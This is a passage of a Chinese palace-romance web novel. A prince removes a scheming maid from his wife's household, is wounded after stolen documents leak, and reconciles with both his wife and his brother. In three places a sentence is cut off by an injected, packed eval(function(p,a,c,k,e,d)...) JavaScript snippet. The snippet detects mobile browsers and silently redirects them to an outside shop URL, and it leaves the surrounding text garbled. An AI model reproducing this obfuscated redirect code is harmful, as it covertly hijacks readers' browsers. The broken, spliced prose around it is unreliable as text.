此刻的冷逸尘却不是这般。他听暗卫说了素蕊在府里的行事,便觉得此人不能再留在叶岚身边。但也不能在王府里动手,最好也不用他自己动手,于是他装起病来。 泽生回禀皇后:边地苦寒,军士粗犷,殿下染恙无妥帖之人照顾。成功的让皇后娘娘调来了素蕊。 如此,先将素蕊调离叶岚身边,其它的再做打算。 一路奔波,素蕊到了北境固阳大营。冷逸尘正在此地休养。 素蕊见了冷逸尘,盈盈拜倒:“素蕊拜见殿下,素蕊来迟了。” 冷逸尘侧卧在床,一贯面无表情、冷若冰霜。良久,缓缓的说:“听闻皇后让你去了王妃处,王妃可同意你过来?” “回殿下,王妃忧心殿下身体,特命奴婢好生服侍。” “那么你是奉了皇后之命而来,还是奉了王妃之命而来?”冷逸尘眼皮未抬一下。 “奴婢是奉了皇后娘娘之命,受王妃所托而来。”素蕊给了一个两全其美的回答。 冷逸尘玩味着素蕊的话:“哦,受王妃所托……那她可有让你带什么话给我?” “没有。” “边地苦寒,辛苦你了。下去吧!” 素蕊受宠若惊:“能服侍殿下,是素蕊之幸。”说罢告退而去。 泽生带素蕊到了起居所。起居所是几间土坯茅草房。外面杂乱无章,衣杆上晾晒着很多衣服,看来不少人在这居住。 泽生一边安排一边说道:“军中不比宫中、府中。这大营只有这里可以住女眷,姐姐暂且住这里吧。” 素蕊捂着鼻子问道:“这里住的都是些什么人?” 泽生带她来到一间屋子,如实回答:“有杂役婆子,服徭役的女子和流离失所的女子。” 素蕊看着狭小的屋子,虽整洁但是寒素至极,嫌弃道:“这里怎么住人……殿下时刻需要人照顾,要不麻烦你问问殿下,我可不可以在殿下哪里……安排个小榻。” 泽生听完都震惊了,这是什么虎狼之词,就这样沉不住气吗?他咳了两声,小声解释到:“姐姐慎言,这大营中帐,机要之地,不是谁都可以进出的,殿下允姐姐进去已是破例。殿下军纪严明,姐姐谨慎些。还有,边关之地危险重重,姐姐不要随意走动。” 素蕊无奈,只得点点头。 冷逸尘身体已渐好,素蕊只需煎煎药、偶尔做些羹汤即可。其他之事,军中自有一套规章,她插不上手。 一日下午,冷逸尘自外而归,又受了些寒气。掌灯十分,咳的厉害。素蕊熬了雪梨羹为他端来,他只喝了一口,便又接着写给京中的文书。见素蕊依旧侍立旁边,便说:“退下吧。” “殿下还未大好,早些休息。” 冷逸尘没有抬头:“军务要紧。” 素蕊试探着说:“素蕊陪着殿下……” 冷逸尘顿了一下笔,写坏了一个字。换了张纸后,他说:“你若无事,替本王磨墨,安静一些。” 素蕊知道她影响了冷逸尘,不由得紧张起来。见冷逸尘未生气,还允许她留下来墨磨,又有一丝窃喜。于是便安安静静的磨起墨来。 泽生来送文书,见到素蕊竟在中帐之中陪着冷逸尘写文书,脑中只闪过“挑灯夜读、红袖添香”几个大字。 他悄悄放下文书出去后,脑中编排了一出大戏,给皇后打小报告去了。 冷逸尘觉得今日之事十分蹊跷:今日巡视,突遇劫匪,一番搏杀,倒也顺利平息了。抓到一个活口,待要问些什么,那人便服毒自尽了。搜了身后,未发现任何线索。 这劫匪白日拦路,不劫钱财,不避官兵,训练有素,定然不是普通的劫匪。恐怕是营中出现了细作,难道目标是他,又是何人所为?冷逸尘有些头痛。 写了许久,想了许久,冷逸尘咳的有些胸口难受,便走出中帐想舒缓一下。 夜已深,众将士皆已休息,只听得巡营军士的脚步声和火把燃烧的“噼啪”声。夜间的凉意让冷逸尘的头稍微清醒一些。 他想起了叶岚:她在做什么?知道我病了,也不来信问候,好狠的心,我们之间真的要一直这样冷漠下去吗? 关于叶岚的一幕幕在眼前浮现:曹嬷嬷送侍女时的淡漠,花园中赏梅时的愤怒,正月十五在鼓楼上的悲伤。 但似乎从未见她真正开心过,所有的笑意都那么清冷且疏离。唉!这女人真让人琢磨不透。 一件毛领大氅从身后披来,冷逸尘心头一颤:叶岚。下意识的抓住了拿着披风的手。扭头看见素蕊,才意识到是自己恍惚了,忙又松开了手。 素蕊面露羞涩:“天冷霜重,殿下莫要再着凉了。” 冷逸尘有些愤怒,语气不容置疑:“泽生,送她回去!” 素蕊见冷逸尘突然变了脸色,不敢多言,默默跟着泽生住处走去。冷逸尘忽冷忽热的态度让素蕊心中忐忑,便向泽生套近乎:“泽生,殿下今日似有心事。” 泽生看看四下无人,小声回答:“殿下今日在外遇袭,此事不要声张。本来不该与你说,可你也不算外人,殿下让我叮嘱你在营中要小心些。” 素蕊听了此话,喜出望外,原来冷逸尘还是关心她的,只是不便表达。一番道谢后自去休息了。 次日一早,素蕊精心打扮一番,端了镇咳的药和吃食来到中帐。冷逸尘已吃过早饭,正将昨夜写废的文书等一些机密要件交与泽生,让他去烧掉。 见素蕊来了,便对泽生说:“这些交给素蕊,你同本王去巡营。”说罢,便要出帐去,但他脚步一顿,叮嘱素蕊道:“一定要看着烧完。” “是。殿下的药好了。”素蕊有些失落,她一早起来,梳妆打扮、换了新衣,又熬药煮汤,可冷逸尘却连正眼都没看她一眼。 “回来再说。”冷逸尘说完大步出了中帐。 泽生将一沓文书交与素蕊,小声说道:“这些事殿下从不假手第三人,今日又是破了例。就在外面的火盆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073854|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里烧。” 听了这些,素蕊便痛快的去找火盆了。火盆就在外面,但却没有引火物。她将文件放下,进中帐去找。 中帐里的火盆未燃着,火折子也不知放到哪里了。找了半日也未找到,她便打算去刚才熬药的炉火里去找。 待回来时发现火盆旁的文件不见了。她心中忐忑不安,不知如何向冷逸尘交代。恰巧此时,冷逸尘回来,边走边问道:“可烧完了?” “烧……烧完了。”素蕊颤颤抖抖的回答。 冷逸尘未说什么也未停留,直接进了中帐,并下令所有人不许入内,素蕊也只好回去。 当晚,冷逸尘给叶岚写了一封简单的平安信。 接连三日,一切无异。素蕊悬着的心也渐渐放下了。 第四日,冷逸尘又出营去,不到一个时辰便负伤而归。他脸色如纸、左肩中箭、鲜血浸衣。 待军医拔出箭头,敷药包扎后,他命人提来了素蕊,将一纸文书掷于她面前,怒不可遏,问道:“是你传递消息出去的?” 素蕊哪里见过这样的阵仗,吓的哆嗦,伸手拿起纸,问道:“这是什么?” 冷逸尘气的摔了杯子:“你问本王这是什么?这些应该在前几日就成了灰烬,为什么会出现在匈奴人手里?” 素蕊吓得一抖,她从未见冷逸尘发如此大的脾气。 泽生解释原因:“今日殿下遭匈奴人袭击,在他们身上发现这份公文,是前几日殿下向京中奏报的计划,上面有今日出巡之事。” 素蕊惊的瘫坐在地上,只得将实情道出。 冷逸尘听完,对外高呼:“来人,军法处置。” 泽生小声提醒说:“殿下,她是皇后娘娘派来的。” 冷逸尘动了怒,牵扯到了伤口,痛的深吸一口了气,缓了缓才说道:“你既是母后的人,本王不便处置。泽生,上表一封,将她押送回京。” 皇后知道此事,亦是愤怒不已,这蠢物竟让她的孩子受了伤。未等素蕊到京,便一道懿旨发来:就地正法。 遇刺那晚,冷逸尘强忍疼痛,又为叶岚写了一封平安信。 过了几日,伤口未见好转,依旧渗血。泽生为冷逸尘上着药说道:“殿下可以另想办法,没必要为了素蕊,弄得自己如此重伤。” “一箭双雕,值了。”冷逸尘穿好衣服,又问:“可查清楚了?” “查清了,是杂役李二柱拿了文书,他母亲是白高人,今日遇到的也是白高人假扮的。” “此事不要声张,就说是劫匪报复袭击的。” “是。对了,下午到了两封信,一封是二殿下的,一封是……公主的,还是很厚的一封。” 冷逸尘惊讶,叶岚竟然回信给他了,还是很厚一封。他赶紧说道:“拿来。” 泽生故意调侃他:“您是先看二殿下的?还是先看公主的?” “废话,全拿来。” 冷逸尘思索了一下,还是先拆了冷逸凡的信。信里写了冷逸凡前几日遇刺,行刺者当场自尽,无法追查,特告知他注意安全。 冷逸尘给他回了信,告知他自己亦遇袭,同样凶手服毒自尽,并查明是一种叫胡蔓藤毒药。 冷逸尘也知此信是冷逸凡试探他,看是不是他派人动的手。冷逸尘并未告知他已查明真相,恐他不信服,便只给了他些线索,让他自己去查。 给冷逸凡写完回信,已是半夜。冷逸尘拆开了叶岚的信,翻来覆去的看到了后半夜。 11. 燕雁传春秋 自素蕊走后,叶岚心情大好。 这一个多月来,她过的很自在,没有宫里来人监察,也不用去参加应酬。府中主人只有她一个。 她对府中侍女、护卫也没有太多的规矩和要求,总之,阖府上下都过的很轻松。 这日,叶岚突然收到冷逸尘报平安的信,简单的“一切平安”四个字。叶岚未回。 四月初,冷逸尘平安信又到了,依旧只是简单“一切平安”的四个字。送信的军士问可有信要回吗?叶岚想了想,觉得于礼应该回一封。 她又问来人是否可以给梁国亲人写一封信,得到肯定的回答后,叶岚有些惊讶,也后悔没有早些询问一下。 军士告诉她明日上午来取信,那么她有一天的时间来写。 冷逸尘给叶岚的信未走书信程序,而是由他的亲信直接送达,他曾经交代过若王妃想给亲人写信是可以的,依旧由他的人派送。 叶岚早就想给夏萱写封信,她也向侍卫打探过送信流程,听说要层层审查便作罢了。如今可以写了,便知是冷逸尘相助。 她先给冷逸尘写了回信:一切安好。看到书案上已摹好的梅花小品,想起来曾答应过送他一幅,便一起装起来吧。 给夏萱的信,从哪里开始写起呢?她有好多好多话想对姐姐说。她提笔。 “姐姐,见信展颜。 时间真快呀,离国去都已四月余。哥哥和孩子们都好吗?孩子们又长高了吧,也不知他们会不会记得我这个姑姑。我在这边一切都好,请放心。 时间过的真快,刮了一冬天的寒风,现在终于暖和起来了。只是这北方的天气多变,清晨、傍晚寒凉,太阳升起后又热又晒。 今日午后,西北天云生风起,又是一场暴雨,可雨下不上半个时辰就停了。后半昼天空透亮、阳光明澈。 傍晚的霞光最是美丽,变幻莫测。那云朵的颜色真是漂亮、橙粉赤青,杂糅相间。可不久后便是霞绮散,月如钩。 每日傍晚向西看时,太白星总是在那里。往前多少年的岁月里,它一直在那里;往后多少年的岁月中,它依旧会在那里。与它相较,人生这百年寿数是多么短暂,可有时我的日子过起来又是那么漫长。 写了这么些,姐姐一定要笑话我闲来无事了。我也的确很闲适,王府里现在只有我自己一个人居住,崇宁王帮我建了一个书房,我很喜欢。他待我也很好,请姐姐放心。 每日里读读书,练练字,有时也去花园转转。咱们南方的园林亭台楼阁、池塘小桥,皆是以景取胜。北方的却不同,这里干旱广阔,这园林多以平缓庄严见长,到是显得恢弘壮丽。我几乎不出门,也不想出门,上次出去还是与崇宁王去城外的三清观看梅花。 说起花来,这王府里冬天光秃秃的无甚可看,花园里虽有红梅几株,可却开的可怜兮兮。阳春三月,倒是花事盛大。可是王府里花树少的可怜,我只能隔墙闻着外面飘了来的花香。 辛夷香、槐花香,都很好闻。北方树大都是先开花再长叶子,虽然很美,但缺少衬托,我还是想念你府中的海棠,翠绿的叶子托着粉白色的花朵,让人看不够。只有一点很可惜,便是海棠无香。可这世事又何曾事十全十美的呢? 今天早起去花园,看见蔷薇花都要开罢了。所谓‘花开荼蘼春事了’,整个春天便就这样与我擦肩而过。现在我在院子里种了好多花,最多的是月季,这样就能月月见花开。还有一盆昙花,已经长了好几个花苞,估计很快就要开了。可惜它只在夜间开,我已经守了两夜了还没有等到。 夜里风依旧很大,尤其是下雨之前,风吹过树顶发出的声音让人害怕。闪电一次次照亮天空,将树影映在窗户上,看着真是让人惊心。” 姐姐,方才云琴告诉我昙花要开了,就写到这里吧。不知何时才能相见,叶岚思念你们,代我向三哥哥问好。也不知道四哥哥现在在哪里,若你见到他时,也替我向他问好。 叶岚于癸卯年四月初三。” 安如见叶岚很投入,便未让人打扰。到云琴来时,她还未曾用晚膳。写了半日,激动的心情还未平复,索性就不用晚膳了,去守着昙花。 她将两封信折好,放在一边。又拿了两个信封上分别写上了“成王妃夏萱亲启”和“冷逸尘亲启”。字迹未干,便先放下了,她自去看昙花。 昙花一现可倾城。熬至半夜,六朵昙花才尽数开放。“夜来孤月明,吐蕊白如霜”,不枉这几个时辰的等待。叶岚困的倒头便睡,云琴收拾了书房,装好信封,也自去睡了。 次日一早,军士便将信取走了。 信寄出去了。山高路远,不知几时能送到;不知姐姐的回信,能不能寄到她这里。她心里抱着一丝希望,但这一丝希望为她的生活增添了许多期待。 五日后,军士送来一封信。军士到来时,叶岚难掩激动,是姐姐的回信吗?怎么这么快? 当军士拿出冷逸尘的信时,叶岚瞬间失落。转念她又紧张起来,很厚一封,难道是冷逸尘出了什么事? “叶岚,见字如晤。 很高兴能收到你的回信。拆开来看,方知此信不是写与我的,应是你不慎装错了信封。那封信我会再想办法转交与你姐姐。 知道那封信我不该看,可又忍不住看完了。我很惊讶你竟在信中提及了我,也很高兴能提及我。信中有一事不明,成王是你亲兄,可为何你称呼成王妃为‘姐姐’,是亲上加亲的缘故吗? 你很少与我提起过你的家人或是你小时候的事。如今你与他们相隔千里,想见一面着实困难。你若有什么心事,不要囿于心中,可以说给我听。 王府内景致单一、少有绿植,是我疏忽了,你可着人修葺栽种。天气渐暖,不必日日拘于王府中。 若你想出去走走,上次去的三清观算是一个不错的地方。三清观再往西有白龙山,山下有一处泉水,名曰‘惠泉’,山上建有临风亭,是个登高望远的好去处。 不过此地离京稍远,可以等我回去再一同去。也不会太久,我大概本月下旬便能回去了。 北方天气炎热干燥,不似南方那般温润。此后天气渐热,保重身体。 冷逸尘于癸卯年四月初五。” 读罢,叶岚仔细回想,应是云琴将信装错了。一想到自己的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073855|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事尽数被冷逸尘看了去,有些不安。还好他不在,若是他在,倒不知道该如何面对他。心事说与他,最好还是不要。 回信还是要写的。叶岚提笔: “冷逸尘,顺颂时序。 不是有意要打扰你的生活,实在是疏忽将信装错了。与梁国通信困难重重,那封信不必转寄了。谢谢你的关心,我近来一切都好,王府中一切皆安。我不想出门,是因自幼便是这个性子。不愿出门、不愿与人交往。如此的生活甚好。 你要的梅花小品,上次连信一同寄去,想来已到了我姐姐那里。说起姐姐与三哥哥,的确是亲上加亲。姐姐的母亲与我母亲是亲姐妹,我母亲亡故后,我便一直住在她府上。” 边境寒苦,危险重重,万望珍重。 叶岚于四月初八。” 最后一句叶岚斟酌了好久才写下的。冷逸尘对她关心,她也不能太无情了。 冷逸尘的信如一颗小石子,激起了叶岚生活的涟漪。她将冷逸尘的信仔细收好,甚至开始期盼他的回信。 这次,冷逸尘的回信四月十五才送达。 “叶岚,惠书敬悉,甚以为慰。这些日子忙着赶路,耽误了回信,见谅。你我二人也认识将近半年,算是朋友了,不必如此客气。此前与你多次口角,皆因我未体恤你远道而来,也因我不了解你,在此向你道歉。 此次巡边,也不是你想的那般辛苦,只是奔波了些。此前,终日在军营之中,无甚闲暇,空闲下来已是半夜。 我从未去留意过晚霞灿、暮云重,也未抬头去看月光皎、星河明。方才,出帐西望,果然看见太白星,离明月甚近。不由让我想起:愿我如星君如月,夜夜流光相皎洁。 自从看了你的信后,才知看美景不必去名山大川,身边随处可见,只是我没有发觉。 天已经黑,该去巡视营帐了,就写到这里,珍重。 冷逸尘于癸卯年四月十一。” “朋友”,叶岚反复琢磨着这个词。她有朋友吗?她想到叶皓、夏萱、叶均,都是她的亲人,不能算朋友;安如、云琴、秦羽,都是她下属,也不能算朋友。 朋友要是自己结交的志趣相投之人。她又想到了文瑶、柳莹心一众世家贵女,她与她们只是相熟,更算不得朋友。她仔细想想,她好像从来没有过朋友。于是叶岚提笔回信。 “冷逸尘,见信安好。 上次你说我们可以做朋友。朋友,这个词于我很陌生。我仔细想了一下,我从未有过朋友。 我是个让人很难相处的人,此前的不愉快,亦多是我的原因。可惜这么多年,我竟从未试着去改变。或许我们可以试着成为朋友。 叶岚于癸卯年四月十六。” 这次没有等到冷逸尘的回信,却等到了泽生。四月二十二,泽生回来了。 他告诉叶岚,冷逸尘已到了城郊大营,待面圣述职、交接好军中事务,再回王府。 叶岚没有问他们几时回来。她有些不安,是一种“近乡情更却”的忐忑。 尺素之友与现实的朋友还是有区别的。她不知见了冷逸尘要说些什么,又该如何相处。 12. 解怨释心结 冷逸尘回京后,一刻未敢停歇。第二日交接军务,第三日面圣述职,后又去见了皇后。 皇后担忧不已,执意看了冷逸尘的伤口,触目惊心。连日奔波,不得休养,伤口至今未痊愈。 皇后后悔不已,几欲垂泪:“怎么伤的这样重,你哪里受过这样的苦。” “让母后忧心了,是儿臣的不是。儿臣多年在外,未能于母后身边尽孝、膝下承欢。还请母后责罚。” “什么罚不罚的。是本宫不好,本想着能有个妥帖的人照顾你,不成想素蕊竟然这般没有规矩。” “儿臣知母后是为儿臣好,母后不必自责。军中之规远严苛于宫中,素蕊她不知也是正常。这也是儿臣身边只用军中之人的缘故。儿臣也曾多次告诫过素蕊,谁知她不仅不遵守,还隐瞒了机要文书丢失的实情,才酿成了此祸事。” “本宫已经处置了素蕊。这次回来,且好生将养。日后便留在京中,在朝中为你父皇分分忧。” “一切自有父皇定夺,母后无须多虑。军中事多,儿臣先告退了。” 皇后点头,心中甚慰,这些年来他们母子二人未有这样贴心过。她唤来青黛,吩咐道:“拿些补品送到他府上,再让医官开些祛疤的药一并送去。” 青黛点头:“是。丁香和苏叶二人怎样安排?” “让她们暂时留在王府,到了年岁就外放吧。” “是。王妃那边?”青黛试探性的问。 皇后叹了口气,说道:“暂时也由他们去吧。逸尘这一成婚,倒是变了不少,此前他何曾理解过本宫这一片苦心。” 青黛附和:“殿下此番回来的确成长了不少,娘娘可以放心了。” 待冷逸尘回到军营,已是日落时分。他本想立即回王府,可想着自己风尘仆仆,又天色已晚,还是不要去打扰叶岚的好。他在大营中沐浴一番,明日一早再回去。 泽生笑话他:如今回自己的家还要看时辰,还要沐浴更衣。 得知冷逸尘要回来后,叶岚竟有些紧张,她让自己忙碌起来,尽量不去想这些事。左右军中事务交接需要时日,一切只待见面再说。 她趁着阳光足,将书尽数翻出晾晒。在箱底翻到了一本剑谱,还是上次叶皓回来给她的,那时她心情郁郁,无心这些。现在倒是可以练上一练了。 清和轩里晒满了书,一时半会儿也收不了,她便带着剑与剑谱去了花园。 许久未拿剑,只觉腕力虚浮,但还好未生疏。她翻开剑谱,一招一式的练着。 冷逸尘回府便去找叶岚,却被告知王妃在花园,他立刻前往花园。 到时,正见叶岚身着一身鹅黄色衣衫,手持利剑在树下舞着。阳光透过枝桠于她身上明灭,宛如一只蝴蝶翩然起舞。 冷逸尘被叶岚这般样子惊住了,他未曾想过她还有如此英姿。 他提剑上前,接了叶岚一招。叶岚练的正认真,未曾发现他的到来,突然一把剑出现,心中一惊,待看清来人,又觉得得有些羞涩。 但利剑在手,不容她多想,二人一番攻守。 起初,冷逸尘觉得叶岚只是学学样子,所以剑未出鞘。后来发现她倒是有些底子只是招式杂乱。有些招式还相当狠辣,他只得利剑出鞘,寒光四射。 冷逸尘,长右山亲传弟子,剑术精纯,几招便可破了叶岚的剑招。可他只出了三招,叶岚突然就收了手,藏剑于身后而立,心头一颤,闪过“长右山”三字。 冷逸尘见叶岚住手,忙收起了剑,担忧的问道:“怎么了,伤到你了?”此刻他后悔为何要将剑拔出,他这把剑不知伤过多少人性命,染了多少鲜血,杀气太重。 叶岚不语,只是以一种奇怪的眼神看着他。有惊讶、有怀疑、有不解。 这是冷逸尘第二次在叶岚眼里看到这样复杂的目光。上一次是大婚夜里。 叶岚此刻千般思绪翻涌:他的剑术比四哥的还要好,四哥是长右山亲传弟子,他会不会也是?四哥什么时候去的长右山?又在山上待了多久?此前在涵关,四哥说过与他有交集,莫不就是在长右山认识的? 冷逸尘见叶岚不语不动,不知发生了何事。急急收了剑,快步走上前问道:“你可还好?” 叶岚回过神来,又疑是自己看错了,便向冷逸尘确认:“可是长右山剑法?” 冷逸尘有一瞬疑惑:她竟然知道长右山。转而又明白:是师兄。但他没有正面回答:“天下剑宗、长右为尊,无人出其右。我自然也会几招。你又是怎么知道的?” “你不要骗我!这几招,若非长右山亲传弟子,是学不到如此精进的。” 冷逸尘一直没告诉叶岚他与叶皓的事情,一时为了守约守规;二是叶岚此前对他敌意颇重,他不想叶岚是因叶皓的原因与自己和解。 但万万没想到,竟在此处露了破绽。他拜师长右山这件事,几乎没有人知道。 他对外只说去四方游学,亦只是想找个清静的地方待一段时间,也不想日后有什么是非将长右山卷进去。 见再也瞒不过去,便拉着叶岚的手腕,说道:“此处不是说话的地方,跟我走。” 叶岚任由冷逸尘拉着,在众目睽睽下进了清和轩寝殿内。 众侍从皆不解,二人是欢喜的还是又吵架了。若是欢喜的,怎么两人都手持利器、面色凝重;若是吵架了,为何两人还拉着手进了寝殿,他二人自成婚来都没有过如此亲密接触。 泽生则悠闲的靠在清和轩门外的树干上,等着看好戏。琢磨着怎么跟皇后回禀一下二人的争吵的情况,两人见面就掐架,皇后肯定乐意看。 寝殿内,二人皆放下武器,等待对方开口。见彼此不开口,叶岚说了个“你”字的同时冷逸尘也说了个“我”字。 又是一阵沉默。叶岚主动开口,她实在是有太多疑问了:“我先说,我问你,你不许骗我。” 冷逸尘郑重点头。 “你何时去的长右山?又在那里待了几年?” “十五岁,三年。” “你可认识我四哥,叶皓?” “认识……他是我同门师兄。” 叶岚觉得可笑,他二人居然早就认识,只将她蒙在鼓里。还偏偏二人都将她瞒得死死的。“你们为何不告诉我。” “因为师规和时局。你也知前几年祁、梁两国局势紧张,我二人的关系不好公之于众。再说我二人私交,也不必人人都知道。泽生知、秦羽知,现在还有你知。” “长右山那么多人,怎么可能只有这几个人知道。” “长右山山高水远,内部事务不易被外人探看,我师傅是宗门分支,座下弟子不多。而且我曾化名凌长风。” 凌长风、长风,叶岚觉得好生熟悉。她忽然想起,冷逸尘寝殿上的题字就是“长风”二字。 知道了实情,叶岚心里却依旧憋闷,一时也不知说什么,也不知该生谁的气,谁都没有错。 满满一肚子火也不知该怎么发泄,着实难受。 冷逸尘见她气鼓鼓的,有些愧疚:“抱歉,没早些告诉你。” “你出去,让我冷静冷静。” 冷逸尘像犯了大错误一般不知所措,只说道:“我们真的不是故意的。” “你们瞒的倒是严实,亏的我那么信任他。” “你不要怪师兄,是我不好。” 叶岚听了更是不悦,他们二人相护,完全把她当了外人,于是冷冷的说道:“你们守约,没有错。我谁也不怪,要怪就怪我摊上了这样的哥哥和……”叶岚本想说“夫君”二字,但这两个字是在无发说出口,转头冷哼一声。 冷逸尘心中又窃喜,故意问道:“和什么?” 叶岚瞬间红了脸,又羞又恼,干脆转过身去不理他。 冷逸尘不忍见她难堪,给她台阶:“朋友,对不对?我们是朋友。就像你信里说的,日后我们可以先试着做朋友。” “我反悔了!”叶岚心中气消了一些,但是气势上不能输。 冷逸尘挑眉:“君子既言,信誓不渝。想反悔,晚了。” “你真好意思说。君子坦荡荡,你们也不是君子!” “好、好,我们都不是君子。别生气了,好吗?” 叶岚情绪平复,见他道歉诚恳便不再为难他,反问道:“素蕊怎么没和你一起回来?” 冷逸尘没想到叶岚会问起她,便只说:“在军中违了军纪、闯了祸,交由母后处置了。” “当真是心狠,不念旧情。”叶岚知道交由皇后处理,素蕊便只有死路一条。 冷逸尘语气变得严肃,解释道:“你一直都误会了,我与她并无旧情,是母后强塞过来人。” 叶岚听了,心下松了一口气。反倒是觉得他母子颇有意思,关系也甚是微妙。 一个也不问问孩子愿不愿便强塞给他,一个明明不愿意却也不拒绝。真是复杂。算了,他们的事,她也不便多少说什么。此事就此揭过吧。 见叶岚不语,冷逸尘继续说:“那么该我问了。师兄教你的剑术?你的剑谱可是他给你的?” 叶岚点头。 “不要再练这些了,都是些不入流的招式,练不好还容易伤了自己。我以后教你长右山的剑法。” “哥哥说剑法不外传,你这样有违师规。” “你不算外人。” 这句话倒是很合叶岚的心意,与他相视一笑,一切恩怨皆销。 待冷逸尘从清和轩出来,春风满面。 泽生好奇不已,追问:“殿下,到底发生了何事?” 冷逸尘不答,快步向前。 泽生继续追问:“娘娘那边怎么说呀?” 冷逸尘停脚步,拍拍泽生的肩膀,说道:“你自由了。” “啊?”泽生惊讶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073856|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “啊什么啊,走了。” “去哪里?” “崇安王府。” 冷逸尘带他去见了崇安王--冷逸凡。 行刺一事,冷逸凡亦查出了些眉目,只是还未确定,待他兄弟二人一番沟通后,便确定了原委:白高国战败,却未诚服,便用离间之计挑拨兄弟之情,邦国之谊。 二人于崇安王书房下棋叙旧,冷逸凡执黑,冷逸尘执白。 “三弟,白高人先是挑拨你我二人关系,又挑拨我大祁与匈奴关系,此事不可小觑。我祁国与匈奴虽眼下和平,但也是小冲突不断。此番白高国在我国内行离间之计,保不齐也在匈奴那便有所谋划。只待鹬蚌相争,渔翁得利。” 冷逸尘落一子,说道:“我也思量过,现如今匈奴部族,各自为政。他们西边和南边还好些,各种物资还需仰仗我们,不敢有什么动作。我现在担忧的是东边的,东北地区物产富饶,完全可以自己自足。东境也是我们防守薄弱的地区,况且又离都甚远,消息不便。若生战祸,恐不能及时应战。我想等过了端午就去向父皇请旨,去东境驻守。” 冷逸凡抬头看着冷逸尘:“大可回禀父皇,派兵前去,何劳你亲自前往。” “二哥,我多年在外,回京中反倒不习惯。况且你我二人皆在京中,免不了有好事之人大作文章。” 冷逸凡的手一顿,随即又落下一子。说道:“只要你我二人心志坚定,何惧他人闲话。” “话虽如此,可万事不由人。二哥,咱们兄弟姐妹不过四人,有些话不如敞开了说。父皇正值春秋鼎盛,立储之事父皇自有定夺,父皇看重你,我不同你争,我只想保大祁安稳无兵患。” 冷逸凡见他如此坦荡直言,也说道:“我亦未想过争储之事。行刺之事,我也曾怀疑过你,怀疑过母后。毕竟这些年,母后对我颇为忌惮,我不得不防。你在外,有些事你不知道。” “二哥,你的怀疑自有道理,我自会向母后说明我的意思。”冷逸尘无心棋局,站起来来到窗边,看着外面,继续说:“这半年多在外,经历了很多生死。我现在最希望的是身边之人都无灾无难的度过一生。就像屿儿这般无忧无虑。我走时,他还是小小的孩提,最爱黏着我,如今也这般大了。” 冷逸凡也走到窗边,看着外面的武师正在教冷书屿拳脚功夫。 冷书屿--冷逸凡独子,今年十二岁。 “可我们终究不是普通人,有守护天下的责任。屿儿将来亦如此。三弟,你可知我们兄弟三人的名字由何而来?” 冷逸尘摇摇头。 “安于凡尘,从容世间。这是父皇说过的。那时你尚在襁褓,有些事不曾经历。先皇后和长兄刚去世,父皇悲痛欲绝,抱着我在他们灵前说了很多话,我那时亦懵懂,只记得这一句。这或许是父皇的期盼,可他这一生,包括你我这一生,全然是做不到了。” “安于凡尘,从容世间。”冷逸尘重复着这句话,他突然想到了叶岚。 冷逸凡留冷逸尘用晚膳,可冷逸尘现在只想回去见叶岚。便说道:“今日应了王妃一起用膳,咱们改日再聚。” 冷逸凡听完大笑:“你那王府以前就是个摆设,如今却急着回去,果然成了家就收了心了。” 冷逸尘亦笑道:“今日谢二哥与我坦诚相待,也解了我的多日的心结。此后我便可以安心在外了。” “彼此彼此。”冷逸凡亦是放下了一桩心事。这些年,皇后虽处处针对他,但他这个弟弟却与他交好,他的父皇亦能明辨是非,皇后也不敢有太大动作。但他也不敢松懈,他知道皇后那边不会轻易罢休。 冷逸尘快马回府,走到清和轩门口,却未进去,驻足了一小会便去了书房。 明明很想见她,可到了门口却又迟疑了?泽生问他为什么,冷逸尘也想不明白为什么? 晚间,泽生吃着甜瓜感慨道:“公主真是聪慧,三招之内就穿了长右剑法。属下也算在长右山待了三年,却也看不出来。” “当初让你做外门弟子,你却不愿意。” “我可不想日日被管束,不得自在。”泽生往冷逸尘跟前凑凑,问道:“那我日后是不是可以改口叫’王妃‘了?” 冷逸尘未语,用四分可恨六分无奈的目光挖了泽生一眼。 今日冷逸尘总算是松了口气,他解决了三桩忧心事。第一:用苦肉计让皇后撤对他的监视,第二:和叶岚解怨释结,第三:与冷逸凡道明心意,消除了误会。 “安于凡尘、从容世间”冷逸尘又想起了这句话。谁能真正做到呢。 他忽而想起曾在信中答应叶岚,带她去白龙山游玩,那明日便去吧。想到这里,他立即让泽生去知会叶岚。 泽生看看窗外高悬的明月,说道:“殿下自己去吧,这时辰恐怕公主已经睡下了。” 冷逸尘想想,倒是自己心急了。 13. 冰心在玉壶 